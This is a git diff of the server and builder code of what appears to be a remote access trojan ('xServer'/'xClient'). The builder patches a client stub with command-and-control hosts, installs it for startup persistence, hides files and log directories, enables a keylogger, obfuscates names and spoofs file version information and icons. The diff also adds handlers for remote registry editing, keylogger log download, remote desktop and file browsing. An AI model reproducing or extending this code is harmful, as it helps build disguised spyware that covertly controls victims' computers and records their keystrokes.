/// <exception cref="System.ArgumentException">Thrown if an invalid special folder was specified.</exception>
|
||||
/// <exception cref="System.IO.FileLoadException">Thrown if the client binaries do not exist.</exception>
|
||||
public static void Build(string output, string tag, string host, string password, string installsub, string installname,
|
||||
string mutex, string startupkey, bool install, bool startup, bool hidefile, bool keylogger,
|
||||
int reconnectdelay, int installpath, string iconpath, string[] asminfo, string version)
|
||||
/// <remarks>
|
||||
/// Assumes the 'client.bin' file exist.
|
||||
/// </remarks>
|
||||
public static void Build(BuildOptions options)
|
||||
{
|
||||
// PHASE 1 - Settings
|
||||
string encKey = FileHelper.GetRandomFilename(20);
|
||||
AssemblyDefinition asmDef;
|
||||
try
|
||||
{
|
||||
asmDef = AssemblyDefinition.ReadAssembly("client.bin");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new FileLoadException(ex.Message);
|
||||
}
|
||||
AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");
|
||||
|
||||
foreach (var typeDef in asmDef.Modules[0].Types)
|
||||
{
|
||||
|
@ -69,31 +42,34 @@ namespace xServer.Core.Build
|
|||
switch (strings)
|
||||
{
|
||||
case 1: //version
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(version, encKey);
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey);
|
||||
break;
|
||||
case 2: //ip/hostname
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(host, encKey);
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey);
|
||||
break;
|
||||
case 3: //password
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(password, encKey);
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Password, encKey);
|
||||
break;
|
||||
case 4: //installsub
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(installsub, encKey);
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey);
|
||||
break;
|
||||
case 5: //installname
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(installname, encKey);
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey);
|
||||
break;
|
||||
case 6: //mutex
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(mutex, encKey);
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey);
|
||||
break;
|
||||
case 7: //startupkey
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(startupkey, encKey);
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey);
|
||||
break;
|
||||
case 8: //encryption key
|
||||
methodDef.Body.Instructions[i].Operand = encKey;
|
||||
break;
|
||||
case 9: //tag
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(tag, encKey);
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey);
|
||||
break;
|
||||
case 10: //LogDirectoryName
|
||||
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.LogDirectoryName, encKey);
|
||||
break;
|
||||
}
|
||||
strings++;
|
||||
|
@ -104,16 +80,19 @@ namespace xServer.Core.Build
|
|||
switch (bools)
|
||||
{
|
||||
case 1: //install
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(install));
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
|
||||
break;
|
||||
case 2: //startup
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(startup));
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
|
||||
break;
|
||||
case 3: //hidefile
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(hidefile));
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile));
|
||||
break;
|
||||
case 4: //Keylogger
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(keylogger));
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
|
||||
break;
|
||||
case 5: //HideLogDirectory
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory));
|
||||
break;
|
||||
}
|
||||
bools++;
|
||||
|
@ -121,11 +100,11 @@ namespace xServer.Core.Build
|
|||
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
|
||||
{
|
||||
//reconnectdelay
|
||||
methodDef.Body.Instructions[i].Operand = reconnectdelay;
|
||||
methodDef.Body.Instructions[i].Operand = options.Delay;
|
||||
}
|
||||
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
|
||||
{
|
||||
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(installpath);
|
||||
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -140,36 +119,36 @@ namespace xServer.Core.Build
|
|||
throw new Exception("renaming failed");
|
||||
|
||||
// PHASE 3 - Saving
|
||||
r.AsmDef.Write(output);
|
||||
r.AsmDef.Write(options.OutputPath);
|
||||
|
||||
// PHASE 4 - Assembly Information changing
|
||||
if (asminfo != null)
|
||||
if (options.AssemblyInformation != null)
|
||||
{
|
||||
VersionResource versionResource = new VersionResource();
|
||||
versionResource.LoadFrom(output);
|
||||
versionResource.LoadFrom(options.OutputPath);
|
||||
|
||||
versionResource.FileVersion = asminfo[7];
|
||||
versionResource.ProductVersion = asminfo[6];
|
||||
versionResource.FileVersion = options.AssemblyInformation[7];
|
||||
versionResource.ProductVersion = options.AssemblyInformation[6];
|
||||
versionResource.Language = 0;
|
||||
|
||||
StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"];
|
||||
stringFileInfo["CompanyName"] = asminfo[2];
|
||||
stringFileInfo["FileDescription"] = asminfo[1];
|
||||
stringFileInfo["ProductName"] = asminfo[0];
|
||||
stringFileInfo["LegalCopyright"] = asminfo[3];
|
||||
stringFileInfo["LegalTrademarks"] = asminfo[4];
|
||||
stringFileInfo["CompanyName"] = options.AssemblyInformation[2];
|
||||
stringFileInfo["FileDescription"] = options.AssemblyInformation[1];
|
||||
stringFileInfo["ProductName"] = options.AssemblyInformation[0];
|
||||
stringFileInfo["LegalCopyright"] = options.AssemblyInformation[3];
|
||||
stringFileInfo["LegalTrademarks"] = options.AssemblyInformation[4];
|
||||
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
|
||||
stringFileInfo["FileVersion"] = versionResource.FileVersion;
|
||||
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
|
||||
stringFileInfo["InternalName"] = asminfo[5];
|
||||
stringFileInfo["OriginalFilename"] = asminfo[5];
|
||||
stringFileInfo["InternalName"] = options.AssemblyInformation[5];
|
||||
stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5];
|
||||
|
||||
versionResource.SaveTo(output);
|
||||
versionResource.SaveTo(options.OutputPath);
|
||||
}
|
||||
|
||||
// PHASE 5 - Icon changing
|
||||
if (!string.IsNullOrEmpty(iconpath))
|
||||
IconInjector.InjectIcon(output, iconpath);
|
||||
if (!string.IsNullOrEmpty(options.IconPath))
|
||||
IconInjector.InjectIcon(options.OutputPath, options.IconPath);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
|
|
|
@ -56,14 +56,7 @@ namespace xServer.Core.Build
|
|||
|
||||
private void RenameInType(TypeDefinition typeDef)
|
||||
{
|
||||
if (typeDef.Namespace.StartsWith("xClient.Core.Compression")
|
||||
|| typeDef.Namespace.StartsWith("xClient.Core.Networking")
|
||||
|| typeDef.Namespace.StartsWith("xClient.Core.NetSerializer")
|
||||
|| typeDef.Namespace.StartsWith("xClient.Core.ReverseProxy")
|
||||
|| typeDef.Namespace.StartsWith("xClient.Core.MouseKeyHook")
|
||||
|| typeDef.Namespace.StartsWith("xClient.Core.Packets")
|
||||
|| typeDef.Namespace.StartsWith("xClient.Core.Recovery")
|
||||
|| typeDef.HasInterfaces)
|
||||
if (typeDef.Namespace.Contains("NetSerializer") || typeDef.HasInterfaces)
|
||||
return;
|
||||
|
||||
_typeOverloader.GiveName(typeDef);
|
||||
|
@ -79,7 +72,10 @@ namespace xServer.Core.Build
|
|||
RenameInType(nestedType);
|
||||
|
||||
if (typeDef.HasMethods)
|
||||
foreach (MethodDefinition methodDef in typeDef.Methods.Where(methodDef => !methodDef.IsConstructor))
|
||||
foreach (MethodDefinition methodDef in
|
||||
typeDef.Methods.Where(methodDef =>
|
||||
!methodDef.IsConstructor && !methodDef.HasCustomAttributes &&
|
||||
!methodDef.IsAbstract && !methodDef.IsVirtual))
|
||||
methodOverloader.GiveName(methodDef);
|
||||
|
||||
if (typeDef.HasFields)
|
||||
|
|
|
@ -0,0 +1,178 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Commands
|
||||
{
|
||||
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */
|
||||
public static partial class CommandHandler
|
||||
{
|
||||
public static void HandleLoadRegistryKey(xServer.Core.Packets.ClientPackets.GetRegistryKeysResponse packet, Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Make sure that we can use the packet.
|
||||
if (packet.Matches != null && packet.Matches.Length > 0)
|
||||
{
|
||||
// Make sure that the client is in the correct state to handle the packet appropriately.
|
||||
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
|
||||
{
|
||||
client.Value.FrmRe.AddKeysToTree(packet.RootKey, packet.Matches);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
}
|
||||
|
||||
#region Registry Key Edit
|
||||
|
||||
public static void HandleCreateRegistryKey(xServer.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse packet, Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Make sure that the client is in the correct state to handle the packet appropriately.
|
||||
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
|
||||
{
|
||||
if (!packet.IsError)
|
||||
{
|
||||
client.Value.FrmRe.AddKeyToTree(packet.ParentPath, packet.Match);
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public static void HandleDeleteRegistryKey(xServer.Core.Packets.ClientPackets.GetDeleteRegistryKeyResponse packet, Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Make sure that the client is in the correct state to handle the packet appropriately.
|
||||
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
|
||||
{
|
||||
if (!packet.IsError)
|
||||
{
|
||||
client.Value.FrmRe.RemoveKeyFromTree(packet.ParentPath, packet.KeyName);
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public static void HandleRenameRegistryKey(xServer.Core.Packets.ClientPackets.GetRenameRegistryKeyResponse packet, Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Make sure that the client is in the correct state to handle the packet appropriately.
|
||||
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
|
||||
{
|
||||
if (!packet.IsError)
|
||||
{
|
||||
client.Value.FrmRe.RenameKeyFromTree(packet.ParentPath, packet.OldKeyName, packet.NewKeyName);
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Registry Value Edit
|
||||
|
||||
public static void HandleCreateRegistryValue(xServer.Core.Packets.ClientPackets.GetCreateRegistryValueResponse packet, Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Make sure that the client is in the correct state to handle the packet appropriately.
|
||||
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
|
||||
{
|
||||
if (!packet.IsError)
|
||||
{
|
||||
client.Value.FrmRe.AddValueToList(packet.KeyPath, packet.Value);
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public static void HandleDeleteRegistryValue(xServer.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse packet, Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Make sure that the client is in the correct state to handle the packet appropriately.
|
||||
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
|
||||
{
|
||||
if (!packet.IsError)
|
||||
{
|
||||
client.Value.FrmRe.DeleteValueFromList(packet.KeyPath, packet.ValueName);
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public static void HandleRenameRegistryValue(xServer.Core.Packets.ClientPackets.GetRenameRegistryValueResponse packet, Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Make sure that the client is in the correct state to handle the packet appropriately.
|
||||
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
|
||||
{
|
||||
if (!packet.IsError)
|
||||
{
|
||||
client.Value.FrmRe.RenameValueFromList(packet.KeyPath, packet.OldValueName, packet.NewValueName);
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public static void HandleChangeRegistryValue(xServer.Core.Packets.ClientPackets.GetChangeRegistryValueResponse packet, Client client)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Make sure that the client is in the correct state to handle the packet appropriately.
|
||||
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
|
||||
{
|
||||
if (!packet.IsError)
|
||||
{
|
||||
client.Value.FrmRe.ChangeValueFromList(packet.KeyPath, packet.Value);
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
|
@ -2,8 +2,8 @@ using System;
|
|||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using xServer.Core.Data;
|
||||
using xServer.Core.Helper;
|
||||
using xServer.Core.Networking;
|
||||
using xServer.Core.Packets.ClientPackets;
|
||||
using xServer.Core.Packets.ServerPackets;
|
||||
|
@ -42,7 +42,10 @@ namespace xServer.Core.Commands
|
|||
}
|
||||
public static void HandleGetDesktopResponse(Client client, GetDesktopResponse packet)
|
||||
{
|
||||
if (client.Value == null || client.Value.FrmRdp == null)
|
||||
if (client.Value == null
|
||||
|| client.Value.FrmRdp == null
|
||||
|| client.Value.FrmRdp.IsDisposed
|
||||
|| client.Value.FrmRdp.Disposing)
|
||||
return;
|
||||
|
||||
if (packet.Image == null)
|
||||
|
@ -92,6 +95,9 @@ namespace xServer.Core.Commands
|
|||
|
||||
for (int i = 0; i < packet.Processes.Length; i++)
|
||||
{
|
||||
if (packet.IDs[i] == 0 || packet.Processes[i] == "System.exe")
|
||||
continue;
|
||||
|
||||
if (client.Value == null || client.Value.FrmTm == null)
|
||||
break;
|
||||
|
||||
|
@ -108,7 +114,6 @@ namespace xServer.Core.Commands
|
|||
if (packet.FileCount == 0)
|
||||
{
|
||||
client.Value.FrmKl.SetGetLogsEnabled(true);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
@ -126,25 +131,37 @@ namespace xServer.Core.Commands
|
|||
|
||||
destFile.AppendBlock(packet.Block, packet.CurrentBlock);
|
||||
|
||||
if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks)
|
||||
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
|
||||
{
|
||||
FileInfo[] iFiles = new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles();
|
||||
|
||||
if (iFiles.Length == 0)
|
||||
return;
|
||||
|
||||
foreach (FileInfo file in iFiles)
|
||||
try
|
||||
{
|
||||
File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath));
|
||||
}
|
||||
catch
|
||||
{
|
||||
if (client.Value == null || client.Value.FrmKl == null)
|
||||
break;
|
||||
|
||||
client.Value.FrmKl.AddLogToListview(file.Name);
|
||||
}
|
||||
|
||||
if (client.Value == null || client.Value.FrmKl == null)
|
||||
return;
|
||||
if (packet.Index == packet.FileCount)
|
||||
{
|
||||
FileInfo[] iFiles =
|
||||
new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles();
|
||||
|
||||
client.Value.FrmKl.SetGetLogsEnabled(true);
|
||||
if (iFiles.Length == 0)
|
||||
return;
|
||||
|
||||
foreach (FileInfo file in iFiles)
|
||||
{
|
||||
if (client.Value == null || client.Value.FrmKl == null)
|
||||
break;
|
||||
|
||||
client.Value.FrmKl.AddLogToListview(file.Name);
|
||||
}
|
||||
|
||||
if (client.Value == null || client.Value.FrmKl == null)
|
||||
return;
|
||||
|
||||
client.Value.FrmKl.SetGetLogsEnabled(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -7,7 +7,6 @@ using xServer.Core.Data;
|
|||
using xServer.Core.Helper;
|
||||
using xServer.Core.Networking;
|
||||
using xServer.Core.Packets.ClientPackets;
|
||||
using xServer.Core.Utilities;
|
||||
using xServer.Enums;
|
||||
using xServer.Forms;
|
||||
|
||||
|
@ -47,52 +46,34 @@ namespace xServer.Core.Commands
|
|||
client.Value.ProcessingDirectory = true;
|
||||
|
||||
client.Value.FrmFm.ClearFileBrowser();
|
||||
client.Value.FrmFm.AddItemToFileBrowser("..", "", PathType.Back, 0);
|
||||
|
||||
ListViewItem lviBack = new ListViewItem(new string[] { "..", "", "" })
|
||||
{
|
||||
Tag = PathType.Back,
|
||||
ImageIndex = 0
|
||||
};
|
||||
|
||||
client.Value.FrmFm.AddItemToFileBrowser(lviBack);
|
||||
|
||||
if (packet.Folders != null && packet.Folders.Length != 0)
|
||||
if (packet.Folders != null && packet.Folders.Length != 0 && client.Value.ProcessingDirectory)
|
||||
{
|
||||
for (int i = 0; i < packet.Folders.Length; i++)
|
||||
{
|
||||
if (packet.Folders[i] != DELIMITER)
|
||||
{
|
||||
ListViewItem lvi = new ListViewItem(new string[] { packet.Folders[i], "", PathType.Directory.ToString() })
|
||||
{
|
||||
Tag = PathType.Directory,
|
||||
ImageIndex = 1
|
||||
};
|
||||
|
||||
if (client.Value == null || client.Value.FrmFm == null)
|
||||
if (client.Value == null || client.Value.FrmFm == null || !client.Value.ProcessingDirectory)
|
||||
break;
|
||||
|
||||
client.Value.FrmFm.AddItemToFileBrowser(lvi);
|
||||
client.Value.FrmFm.AddItemToFileBrowser(packet.Folders[i], "", PathType.Directory, 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (packet.Files != null && packet.Files.Length != 0)
|
||||
if (packet.Files != null && packet.Files.Length != 0 && client.Value.ProcessingDirectory)
|
||||
{
|
||||
for (int i = 0; i < packet.Files.Length; i++)
|
||||
{
|
||||
if (packet.Files[i] != DELIMITER)
|
||||
{
|
||||
ListViewItem lvi =
|
||||
new ListViewItem(new string[] { packet.Files[i], FileHelper.GetDataSize(packet.FilesSize[i]), PathType.File.ToString() })
|
||||
{
|
||||
Tag = PathType.File,
|
||||
ImageIndex = FileHelper.GetFileIcon(Path.GetExtension(packet.Files[i]))
|
||||
};
|
||||
|
||||
if (client.Value == null || client.Value.FrmFm == null)
|
||||
if (client.Value == null || client.Value.FrmFm == null || !client.Value.ProcessingDirectory)
|
||||
break;
|
||||
|
||||
client.Value.FrmFm.AddItemToFileBrowser(lvi);
|
||||
client.Value.FrmFm.AddItemToFileBrowser(packet.Files[i],
|
||||
FileHelper.GetDataSize(packet.FilesSize[i]), PathType.File,
|
||||
FileHelper.GetFileIcon(Path.GetExtension(packet.Files[i])));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -5,16 +5,17 @@ using System.Text;
|
|||
|
||||
namespace xServer.Core.Cryptography
|
||||
{
|
||||
// ReSharper disable once InconsistentNaming
|
||||
public static class AES
|
||||
{
|
||||
private const int IVLENGTH = 16;
|
||||
private static byte[] _key;
|
||||
private static byte[] _defaultKey;
|
||||
|
||||
public static void PreHashKey(string key)
|
||||
public static void SetDefaultKey(string key)
|
||||
{
|
||||
using (var md5 = new MD5CryptoServiceProvider())
|
||||
{
|
||||
_key = md5.ComputeHash(Encoding.UTF8.GetBytes(key));
|
||||
_defaultKey = md5.ComputeHash(Encoding.UTF8.GetBytes(key));
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -30,7 +31,7 @@ namespace xServer.Core.Cryptography
|
|||
|
||||
public static byte[] Encrypt(byte[] input)
|
||||
{
|
||||
if (_key == null || _key.Length == 0) throw new Exception("Key can not be empty.");
|
||||
if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty.");
|
||||
if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty.");
|
||||
|
||||
byte[] data = input, encdata = new byte[0];
|
||||
|
@ -39,13 +40,13 @@ namespace xServer.Core.Cryptography
|
|||
{
|
||||
using (var ms = new MemoryStream())
|
||||
{
|
||||
using (var rd = new RijndaelManaged { Key = _key })
|
||||
using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey })
|
||||
{
|
||||
rd.GenerateIV();
|
||||
aesProvider.GenerateIV();
|
||||
|
||||
using (var cs = new CryptoStream(ms, rd.CreateEncryptor(), CryptoStreamMode.Write))
|
||||
using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write))
|
||||
{
|
||||
ms.Write(rd.IV, 0, rd.IV.Length); // write first 16 bytes IV, followed by encrypted message
|
||||
ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write first 16 bytes IV, followed by encrypted message
|
||||
cs.Write(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
@ -74,13 +75,13 @@ namespace xServer.Core.Cryptography
|
|||
{
|
||||
using (var ms = new MemoryStream())
|
||||
{
|
||||
using (var rd = new RijndaelManaged { Key = key })
|
||||
using (var aesProvider = new AesCryptoServiceProvider() { Key = key })
|
||||
{
|
||||
rd.GenerateIV();
|
||||
aesProvider.GenerateIV();
|
||||
|
||||
using (var cs = new CryptoStream(ms, rd.CreateEncryptor(), CryptoStreamMode.Write))
|
||||
using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write))
|
||||
{
|
||||
ms.Write(rd.IV, 0, rd.IV.Length); // write first 16 bytes IV, followed by encrypted message
|
||||
ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write first 16 bytes IV, followed by encrypted message
|
||||
cs.Write(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
@ -101,7 +102,7 @@ namespace xServer.Core.Cryptography
|
|||
|
||||
public static byte[] Decrypt(byte[] input)
|
||||
{
|
||||
if (_key == null || _key.Length == 0) throw new Exception("Key can not be empty.");
|
||||
if (_defaultKey == null || _defaultKey.Length == 0) throw new Exception("Key can not be empty.");
|
||||
if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty.");
|
||||
|
||||
byte[] data = new byte[0];
|
||||
|
@ -110,13 +111,13 @@ namespace xServer.Core.Cryptography
|
|||
{
|
||||
using (var ms = new MemoryStream(input))
|
||||
{
|
||||
using (var rd = new RijndaelManaged { Key = _key })
|
||||
using (var aesProvider = new AesCryptoServiceProvider() { Key = _defaultKey })
|
||||
{
|
||||
byte[] iv = new byte[IVLENGTH];
|
||||
ms.Read(iv, 0, IVLENGTH); // read first 16 bytes for IV, followed by encrypted message
|
||||
rd.IV = iv;
|
||||
aesProvider.IV = iv;
|
||||
|
||||
using (var cs = new CryptoStream(ms, rd.CreateDecryptor(), CryptoStreamMode.Read))
|
||||
using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read))
|
||||
{
|
||||
byte[] temp = new byte[ms.Length - IVLENGTH + 1];
|
||||
data = new byte[cs.Read(temp, 0, temp.Length)];
|
||||
|
|
|
@ -0,0 +1,26 @@
|
|||
namespace xServer.Core.Data
|
||||
{
|
||||
public class BuildOptions
|
||||
{
|
||||
public bool ValidationSuccess { get; set; }
|
||||
public bool Install { get; set; }
|
||||
public bool Startup { get; set; }
|
||||
public bool HideFile { get; set; }
|
||||
public bool Keylogger { get; set; }
|
||||
public string Tag { get; set; }
|
||||
public string Mutex { get; set; }
|
||||
public string RawHosts { get; set; }
|
||||
public string Password { get; set; }
|
||||
public string IconPath { get; set; }
|
||||
public string Version { get; set; }
|
||||
public string InstallSub { get; set; }
|
||||
public string InstallName { get; set; }
|
||||
public string StartupName { get; set; }
|
||||
public string OutputPath { get; set; }
|
||||
public int Delay { get; set; }
|
||||
public short InstallPath { get; set; }
|
||||
public string[] AssemblyInformation { get; set; }
|
||||
public string LogDirectoryName { get; set; }
|
||||
public bool HideLogDirectory { get; set; }
|
||||
}
|
||||
}
|
|
@ -167,6 +167,18 @@ namespace xServer.Core.Data
|
|||
}
|
||||
}
|
||||
|
||||
public string IconPath
|
||||
{
|
||||
get
|
||||
{
|
||||
return ReadValueSafe("IconPath");
|
||||
}
|
||||
set
|
||||
{
|
||||
WriteValue("IconPath", value);
|
||||
}
|
||||
}
|
||||
|
||||
public bool ChangeAsmInfo
|
||||
{
|
||||
get
|
||||
|
@ -191,6 +203,30 @@ namespace xServer.Core.Data
|
|||
}
|
||||
}
|
||||
|
||||
public string LogDirectoryName
|
||||
{
|
||||
get
|
||||
{
|
||||
return ReadValueSafe("LogDirectoryName", "Logs");
|
||||
}
|
||||
set
|
||||
{
|
||||
WriteValue("LogDirectoryName", value);
|
||||
}
|
||||
}
|
||||
|
||||
public bool HideLogDirectory
|
||||
{
|
||||
get
|
||||
{
|
||||
return bool.Parse(ReadValueSafe("HideLogDirectory", "False"));
|
||||
}
|
||||
set
|
||||
{
|
||||
WriteValue("HideLogDirectory", value.ToString());
|
||||
}
|
||||
}
|
||||
|
||||
public string ProductName
|
||||
{
|
||||
get
|
||||
|
|
|
@ -0,0 +1,55 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace xServer.Core.Extensions
|
||||
{
|
||||
public static class RegistryKeyExtensions
|
||||
{
|
||||
public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData)
|
||||
{
|
||||
switch (valueKind)
|
||||
{
|
||||
case RegistryValueKind.Binary:
|
||||
return ((byte[])valueData).Length > 0 ? BitConverter.ToString((byte[])valueData).Replace("-", " ").ToLower() : "(zero-length binary value)";
|
||||
case RegistryValueKind.MultiString:
|
||||
return string.Join(" ", (string[])valueData);
|
||||
case RegistryValueKind.DWord: //Convert with hexadecimal before int
|
||||
return String.Format("0x{0} ({1})", ((uint)((int)valueData)).ToString("x8"), ((uint)((int)valueData)).ToString());
|
||||
case RegistryValueKind.QWord:
|
||||
return String.Format("0x{0} ({1})", ((ulong)((long)valueData)).ToString("x8"), ((ulong)((long)valueData)).ToString());
|
||||
case RegistryValueKind.String:
|
||||
case RegistryValueKind.ExpandString:
|
||||
return valueData.ToString();
|
||||
case RegistryValueKind.Unknown:
|
||||
default:
|
||||
return string.Empty;
|
||||
}
|
||||
}
|
||||
|
||||
public static string RegistryTypeToString(this RegistryValueKind valueKind)
|
||||
{
|
||||
switch (valueKind)
|
||||
{
|
||||
case RegistryValueKind.Binary:
|
||||
return "REG_BINARY";
|
||||
case RegistryValueKind.MultiString:
|
||||
return "REG_MULTI_SZ";
|
||||
case RegistryValueKind.DWord:
|
||||
return "REG_DWORD";
|
||||
case RegistryValueKind.QWord:
|
||||
return "REG_QWORD";
|
||||
case RegistryValueKind.String:
|
||||
return "REG_SZ";
|
||||
case RegistryValueKind.ExpandString:
|
||||
return "REG_EXPAND_SZ";
|
||||
case RegistryValueKind.Unknown:
|
||||
return "(Unknown)";
|
||||
default:
|
||||
return "REG_NONE";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -2,6 +2,7 @@
|
|||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xServer.Core.Cryptography;
|
||||
|
||||
namespace xServer.Core.Helper
|
||||
{
|
||||
|
@ -102,5 +103,31 @@ namespace xServer.Core.Helper
|
|||
return 10;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Appends text to a log file.
|
||||
/// </summary>
|
||||
/// <param name="filename">The filename of the log.</param>
|
||||
/// <param name="appendText">The text to append.</param>
|
||||
public static void WriteLogFile(string filename, string appendText)
|
||||
{
|
||||
appendText = ReadLogFile(filename) + appendText;
|
||||
|
||||
